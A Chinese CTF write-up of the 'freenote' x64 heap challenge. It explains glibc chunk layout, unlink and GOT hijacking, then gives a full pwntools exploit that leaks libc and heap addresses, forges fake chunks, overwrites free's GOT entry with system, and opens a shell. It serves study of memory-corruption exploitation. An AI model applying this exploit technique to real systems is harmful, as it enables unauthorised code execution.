freenote writeup

文章目录

  • freenote writeup
    • 目的
    • 题目
    • 预备知识
      • **堆**
      • **chunk**
      • main arena
      • unlink
      • got表劫持
    • 解题
      • 漏洞
      • 漏洞利用
        • 地址泄漏
        • unlink
        • got劫持

目的

  1. 学习pwn基本套路
  2. 学习堆相关漏洞和利用:unlink、堆的结构、free的流程

题目

笔记本题目:


4个重要选项如上所示,选项代码如下所示:

InitNote

初始化整个note的内存,共0x1810字节,前16字节为头部信息,分别是最大note数(note_buf: 0x100),当前note数(note_buf+8: 0);

接下来初始化每个note的结构,每个note 24字节,第一个8字节(note_buf + 24*i + 16)表示该note是否被使用,第二个8字节(note_buf + 24*i + 24)为note长度,第三个8字节(note_buf + 24*i + 32)为note_buf的地址。所以整个笔记本的结构如下:

Note结构

address

============

0 7 -----> max_note_size

============

8 15 ------->note_num

**==================**

16 23 ------> 1(occupied or not)

============

24 31------->note_len

============

32 39---------->buf_addr

**==================**

ListNote

listnote函数中存在一个可利用的漏洞,printf("%d. %s\n", …)使用%s输出地址note_buf+24*i+32的内容,%s会输出0x00前面所有的内容,所以可以用来泄漏堆的地址,从而得出libc和程序堆的开始地址。

NewNote

newnote函数没有漏洞,但是可以看出,note_addr是如何布局的:

note_buf+24*i+offset

**==================**

16 23 ------> 1(occupied or not)

============

24 31------->note_len

============

32 39---------->buf_addr

**==================**

EditNote

editnote没有漏洞,可以看出,当新的note和原来note长度一样,那么就不会调用realloc来重新分配内存,而是直接在note_buf中保存的note_addr中写数据。

DeleteNote

DeleteNote中在删除note时,没有判断当前note是否已经被释放(可用来unlink),并且释放后没有将note_addr置NULL(可结合前面printf %s的漏洞,泄漏堆地址)

预备知识

下面讲解本地涉及到的知识,不想看的可直接绕过。

当程序首次调用malloc函数分配内存时,glibc会通过系统调用给程序分配内存空间,这块空间即是堆heap,在整个程序中的位置如下:

通过gdb插件gef的vmmap可以看到,heap(红框)的位置在较低地址,而stack在高地址,整个地址空间中还存放有其他的内容,在本题中,程序通过initnote函数分配的note_buf开始地址就为0x193d000,也就是整个堆的开始地址。

chunk

chunk是程序通过malloc函数分配的内容块,chunk和chunk之间是在物理地址上相邻的,chunk分配malloc chunk和free chunk两种,

Malloc chunk(被分配正在使用的chunk)的结构如下:

chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|         前一个chunk大小(prev_size), if unallocated (P = 0)    | 每一行大小为8字节(64位机器)+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|             本chunk的大小                     (最后三比特)|A|M|P|P表示前一个chunk是否为malloc chunkmem-> + - + - + - + - + - + - + + + + + + + + + + - + - + - + - + - + - +|                           用户数据..                                                   ||                                                              ||  (通过malloc分配内存时,返回值就是这块的开始地址,即上面的mem)       |next    |                                                              |chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|             (size of chunk, but used for application data)    |(下一个chunk)+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|             Size of next chunk, in bytes                |A|0|1|+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

上面是示意图,实际内存情况如下:

某个chunk开始地址为0x193e820

malloc返回给用户使用的是0x193e830

前0x10字节可以看作是头部,内容就是前一个chunk的大小(prev_size)和本chunk的大小(size);

图里前一个chunk的大小为0,因为当前chunk正在被使用,prev_size域是前一个chunk的数据内容。当前chunk大小为0x90,但是图里是0x91,因为它的P为是1,表示前一个chunk正在被使用,如果前一个chunk被释放了,那么就会显示0x90;

下一个chunk同理,prev_size为0,p位为1,说明绿框的那个chunk正在被使用;

free chunk(调用free函数释放chunk之后)结构如下:

chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|                前一个chunk大小(prev_size)(P = 1)                                    | 每一行大小为8字节(64位机器)+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+`head:' |             本chunk的大小                     (最后三比特)|A|M|P|mem-> + - + - +- + - + - + - + - + + + + + + + + + + - + - +  - + - + - +|             fd指针,链表中下一个free chunk的地址。                |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|             bk指针,链表中上一个free chunk的地址                        |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|             Unused space (may be 0 bytes long)                ..                                                               .next   .                                                               |chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+`foot:' |             Size of chunk, in bytes                           |下一个chunk+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|             Size of next chunk, in bytes                |A|0|0|(P=0)前一个chunk被释放了+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

被释放的chunk在内存中的情况如下,0x10c68b0地址所在的chunk被释放了头部下面的0x10字节就被替换成了链表中头节点的指针(当前链表中就这一个free chunk,所以fd和bk指针都头节点的指针)

观察绿框chunk下面那个chunk的头部,因为绿框chunk被free,可以看到prev_size变为了0x90,size也变成了0x90(P位变成了0)。

总的来说,一个chunk的的头部在释放前和释放后会发生变化,主要在prev_size域,size域的p位表示前一个chunk是否释放。data域的开始0x10字节在释放后变成free链表(0x90的chunk会放到unsorted bin)的下一个和上一个free chunk地址。

main arena

main arena是libc库中的一个数据机构,其中有一个bins数组,它保存了不同的bin(unsorted bin、fastbin、small bin等等),每个bins保存了不同大小的free chunk。具体的结构我没有详细分析,留以后分析。本题只利用了main arena里面的unsorted bin头指针地址来泄漏libc地址。

main arena和chunk的关系:

比如如下两个free chunk,被放入到了unsorted bins里面去

main_arena实际内存分布如下,地址0x00007f7858635b78上,可以看到main_arena+88到main_arena+104上位unsorted bin,+104上位fd和bk的指针:

free chunk:0x0000000001d94940,fd指向0x0000000001d94820,bk位main_arene头部

free chunk:0x0000000001d94820,fd指向main_arena头部,bk为0x0000000001d94940

unlink

​ unlink为libc中的一个宏,当free某个chunk时,free函数会根据本块的头部size信息检查相邻的两个chunk是否为free chunk,如果是free chunk,会使用prev_size找到上一个chunk,把它从bins链表中取下来,这个操作就是unlink。

目的:unlink业务上的目的就是为了把free chunk从bin链表下取下来。ctf中可以利用它修改指定地址的值,达到任意地址写的目的;

​ 但是unlink时会进行一个校验:

#define unlink(P, BK, FD){//P为待unlink的chunk
FD = P -> fd
BK = P -> bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      malloc_printerr (check_action, "corrupted double-linked list", P, AV);
...FD -> bk = BK/* 相当于 (P -> fd -> bk = P -> bk) */
BK -> fd = FD /* 相当于 (P -> bk -> fd = P -> fd) */...
}

​ if语句要求p的fd指向的chunk的bk域为P,同时p的bk指向的chunk的fd域为p。

方式:如果利用unlink来实现任意地址写

首先需要绕过校验,为了绕过这个判断,我们需要伪造一个free chunk,然后用它来执行unlink操作。过程如下:

FD -> bk ==> *(FD + 0x18)

如果要FD -> bk = P,那么有*(FD + 0x18)= P ==> FD + 0x18 = &P ==> FD = &P - 0x18

如果要BK -> fd = P, 那么有*(BK + 0x10)= P ==> BK + 0x10 = &P ==> BK = &P - 0x10

所以如果要绕过if检查,那么P的fd和bk上面应该分别存&P - 0x18和&P - 0x10,这里**&P为保存这个chunk地址的地址**,一般为某个管理对象的地址,在本题中,就是note_buf的某个地址(它里面不就保存了每个note的addr)。

参考下图图,fake chunk为待unlink的chunk,伪造之后的fd和bk为右边

接下来就可以绕过if检查,并修改目标地址的内容(ctf wiki可能讲的更细节https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/)

FD -> bk = BK
BK -> fd = FD

这个时候FD -> bk=&P - 0x18 + 0x18=&P,FD -> bk = BK之后,&P上保存了&P-0x10

同理,BK -> fd = FD之后,&P上保存了&P-0x18

所以上诉操作之后,&P上保存&P-0x18的地址。

由于&P为管理对象的地址,本题中为note_buf的地址,下次edit该note时,写入的地址就变成了&P-0x18,这样我们就可以通过edit将写入地址再次修改为其他其他地址,比如将某个函数的got表中的地址修改为system函数,达到函数劫持的目的,具体在后面分析。

got表劫持

got劫持的意思是修改某个函数在got表中的函数地址,函数调用的顺序:跳转到某个函数的got表表项,该表项上保存了该函数的真正地址,比如free函数,示意图如下所示:

如果我们能够修改got表中的free函数的地址为sytem,那么调用free函数时,就会跳转到system,从而实现got劫持。本题中可以使用unlink来实现。

解题

漏洞

该题总共有2个漏洞可以利用:

  1. printf(%s,xxxxx)泄漏堆地址;
  2. deleteNote中没有把指针置null,可以使用unlink实现任意地址写,劫持free或者其他函数;

漏洞利用

地址泄漏

  1. libc地址泄漏

首先需要泄漏一些必要的地址,比如libc还有堆开始地址
libc的地址可以通过main arena地址计算

newNote(0x80, 'a'*0x80)#0
newNote(0x80, 'b'*0x80)#1
newNote(0x80, 'c'*0x80)#2
deleteNote(1)
deleteNote(0)
newNote(0x90, 'd'*0x90)
listNote()

建立三个note,删除相邻的两个note,比如删除0和1号note,删除之后0和1头部下面0x10字节都会带有main_arena的地址:

如上图,由于删除和新建note都不会对内存块进行清除,而且listnote会一直输出0x00之前的字符,所以这时候可以新建一个note,把1号note的fd和bk地址前的0x00都填满,这样list就能把地址输出了,这个地址就是main_arena+88的地址,根据main_arena在libc中的偏移,就能计算出libc的地址:

libc_addr = u64(tmp_arena_addr) - 88 - 0x3C2760

注:main_arena在libc中的偏移可以从libcso中拿到:

它在malloc_trim函数中,位置如上所示,不同版本偏移不一样。

  1. 堆开始地址泄漏

    堆地址泄漏需要free不相邻的多个note,形成链,然后再利用listnote函数的漏洞打印地址;

newNote(0x80, '0'*0x80)#0
newNote(0x80, '1'*0x80)#1
newNote(0x80, '2'*0x80)#2
newNote(0x80, '3'*0x80)#3
deleteNote(0)
deleteNote(2)
newNote(8,'/bin//sh')
listNote()

删除0和2号note,然后新建一个note,并写入8字节的数据,这里8字节刚好把fd填充,保留bk,然后输出:

这个0x1000940地址就是2号note的堆地址,具体为啥自己想。然后减去note2的偏移已经整个笔记本的大小0x1820,即可得到堆开始地址。

heap_addr = u64(chunk2_heap_addr) - 0x1820 - 0x120

unlink

(unlink前把之前创建的note删除)

unlink需要伪造chunk,伪造的内容如下:

payload = p64(0)+p64(0x81)+p64(note0_addr-0x18)+p64(note0_addr-0x10) # fake chunk 0 => prev_size | size | fd | bd
payload = payload.ljust(0x80, b'\x33') # fake chunk0 => data
payload += p64(0x80)+p64(0x90) # fakechunk2 =>  prev_size size
payload = payload.ljust(0x80 + 0x90, b'\x34')# fakechunk1 => data
payload += p64(0x90) + p64(0x91)# fakechunk2 => prev_size | size
payload = payload.ljust(0x80 + 0x90 + 0x90, b'\x35')#这里必须构造4个fake chunk,不然在delete1时会报错,或者出现unlink失败,因为上面分配了4个chunk
payload += p64(0x90) + p64(0x91)# fakechunk3
payload = payload.ljust(0x80 + 0x90 + 0x90 + 0x90, b'\x36')
newNote(len(payload), payload)
deleteNote(1)

我们向note0的chunk中写入伪造的fake数据,如下所示,fake_chunk1要和真正的chunk1刚好对齐,所以fake_data要计算好。

这里我们在chunk0的data里伪造的4个chunk(因为我们之前总共创建了4个chunk)

然后我们deleteNote(1),libc在free chunk1时,利用fake_prev_size计算出fake_chunk0的位置以及P位,发现它是free的,所以执行unlink操作,把它从unsorted bin中取出。实际的内存分布:

可以看到fake fd和bk的值,fake fd指向的是note管理的头部中的note数(也就是note0_addr-0x18,note0_addr是note管理结构中保存note0 buf地址的地址,也就是0x18f9030),在unlink操作之后的内存分布如下所示:

可以看到note0的地址被修改成了note管理的头部中note数的地址,到这里unlink完成。

got劫持

我们利用unlink修改了管理结构中保存note0地址的值为note数的地址,那么这时候editNote(0)就会从note数的地址写,我们写了3个8字节之后就能再次修改保存note0地址中的值,我们把它修改成free函数got表中的地址:

然后再editNote(0),这时候我们就能编辑got表中的内容了,我们把它修改为system函数的地址,就能实现got表劫持:

如上图,0x602018上的地址被修改成了system函数的地址。

由于system需要"/bin/sh"作为参数,我们把它写入到note1中,然后调用free(note1),拿到shell

完整的代码

from pwn import *
#000000000040106A
# p = process('./freenote_x64')
# p = remote('pwn2.jarvisoj.com',9886)
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p=gdb.debug('./freenote_x64', gdbscript='''b *0x400CCEb *0x401086b *0x400E19''')
elf = ELF('./freenote_x64')
libc = ELF('./libc-2.19.so')
libc223 = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def newNote(length, content):p.recvuntil('Your choice: ')p.sendline('2')p.recvuntil('Length of new note: ')p.sendline(str(length))p.recvuntil('Enter your note: ')p.send(content)sleep(0.2)def deleteNote(number):p.recvuntil('Your choice: ')p.sendline('4')p.recvuntil('Note number: ')p.sendline(str(number))def editNote(number, length, content):p.recvuntil('Your choice: ')p.sendline('3')p.recvuntil('Note number: ')p.sendline(str(number))p.recvuntil('Length of note: ')p.sendline(str(length))p.recvuntil('Enter your note: ')p.send(content)def listNote():p.recvuntil('Your choice: ')p.sendline('1')#首先需要泄漏一些必要的地址,比如libc还有堆开始地址
#libc的地址可以通过main arena地址计算
# leak the address of libc
newNote(0x80, 'a'*0x80)#0
newNote(0x80, 'b'*0x80)#1
newNote(0x80, 'c'*0x80)#2
deleteNote(1)
deleteNote(0)
newNote(0x90, 'd'*0x90)
listNote()
p.recv(3)
p.recv(0x90)
tmp_arena_addr = p.recvuntil('\n')[0:-1]
tmp_arena_addr = tmp_arena_addr.ljust(8,b'\x00') #byte  2.23:0x3C4B20    2.19:0x3C2760
libc_addr = u64(tmp_arena_addr) - 88 - 0x3C2760
system_addr = libc_addr + libc.symbols['system']
print('libc_addr ==> '+hex(libc_addr))
deleteNote(0)
deleteNote(2)#leak heap address(notebook address)
newNote(0x80, '0'*0x80)#0
newNote(0x80, '1'*0x80)#1
newNote(0x80, '2'*0x80)#2
newNote(0x80, '3'*0x80)#3
deleteNote(0)
deleteNote(2)
newNote(8,'/bin//sh')
listNote()
p.recv(3)
p.recv(8)
chunk2_heap_addr = p.recvuntil(b'\x0a')[0:-1].ljust(8 ,b'\x00') #chunk 2
print('tmp_heap_addr ==> ' + hex(u64(chunk2_heap_addr)))
# the address of heap start point
heap_addr = u64(chunk2_heap_addr) - 0x1820 - 0x120
print('heap_address ==> ' + hex(heap_addr))
#note0_addr为note0的结构体开始地址,其中的内容就包括了表示是否使用的域、note长度、note buff的地址;
note0_addr = heap_addr + 0x30
#unlink
deleteNote(0)
deleteNote(1)
deleteNote(3)# unlink的目的就是为了让libc能够把note0_addr里面的note buff地址修改为note0_addr的是否使用域的地址,这样,下次edit的时候,就是从是否使用域开始修改,可以一直修改到note buff的地址位置
# +--------------+
# |0x00      0x81| fakechunk 0
# |psize     size|
# |.....\x33.....|
# |0x80      0x90| fakechunk 1
# |
payload = p64(0)+p64(0x81)+p64(note0_addr-0x18)+p64(note0_addr-0x10) # fake chunk 0 => prev_size | size | fd | bd
payload = payload.ljust(0x80, b'\x33') # fake chunk0 => data
payload += p64(0x80)+p64(0x90) # fakechunk2 =>  prev_size size
payload = payload.ljust(0x80 + 0x90, b'\x34')# fakechunk1 => data
payload += p64(0x90) + p64(0x91)# fakechunk2 => prev_size | size
payload = payload.ljust(0x80 + 0x90 + 0x90, b'\x35')#这里必须构造4个fake chunk,不然在delete1时会报错,或者出现unlink失败,因为上面分配了4个chunk
payload += p64(0x90) + p64(0x91)# fakechunk3
payload = payload.ljust(0x80 + 0x90 + 0x90 + 0x90, b'\x36')
newNote(len(payload), payload)
deleteNote(1)
len_ = len(payload)
#hijack got free
payload2 = p64(2) + p64(1) + p64(0x8) + p64(elf.got['free']) + p64(1) + p64(0x8) + p64(u64(chunk2_heap_addr) - 0x90 + 0x10)
payload2 = payload2.ljust(len_, b'\x11')
editNote(0, len_, payload2)
editNote(0, 0x8, p64(system_addr))
editNote(1, 0x8, '/bin/sh\x00')
deleteNote(1)
p.interactive()

Javisoj_level6_x64_writeup相关推荐

最新文章

  1. 18000字的SQL优化大全,收藏直接起飞!
  2. SqlServer SqlBulkCopy批量插入 -- 多张表同时插入(事务)
  3. C# socket nat 映射 网络 代理 转发
  4. android gradle abi mips x86,NDK android Error:Expected caller to ensure valid ABI: MIPS
  5. 使用SQL Server 2005作业设置定时任务
  6. vue 上次登录时间_vue实现登录之后长时间未操作,退出登录
  7. anaconda学python的教程_初学 Python 者自学 Anaconda 的正确姿势是什么?
  8. 主机与虚拟机ping通
  9. 北京的哪些地方开的发票可参与国家税务局的摇奖
  10. 北京大学创业训练营专家讲座:创新大师乔布斯的创业理念与营销哲学
  11. c语言中fabs是什么意思,c语言fabs是什么意思
  12. 存储之磁盘阵列RAID
  13. deepin20 外接显示器,标题栏美化
  14. 《实用C++》第11课:if 语句实现逻辑运算与冒号表达式
  15. 【智能制造】李培根院士:2017-2018中国制造业及智能制造十大热点
  16. C语言-getchar/putchar详解
  17. 北大青鸟S1java总结
  18. 10个国家队出品的冷门APP,这才称得上是宝藏产品!
  19. 角色建模师前景如何?
  20. 制作单词记录App(二)

热门文章

  1. 都在说大数据获客,大数据是如何获客的?
  2. 基于likeadmin管理后台搭建—同城跑腿系统
  3. Python刘氏神数奇门排盘程序
  4. 无法连接wifi或找不到wifi信息
  5. 路灯发光二极管的选择
  6. 4-氧代-4- ((4-(10,15,20-三苯基-21H,23H-卟啉-5-基)苯基)氨基)丁酸( MAC)单氨基四苯基卟啉(MAPP);5-对羟基苯基-10,15,20-三苯基卟啉(HPTPP)
  7. iOS: UIScrollView的属性dragging
  8. WORD不能粘贴内容 文字 图片 Office word 2010 装Mathtype之后
  9. 继无人商店后,杭州首家“无人”电销公司上线,各种无人产品“横行于世”
  10. Kubernetes CKA认证运维工程师笔记-Kubernetes调度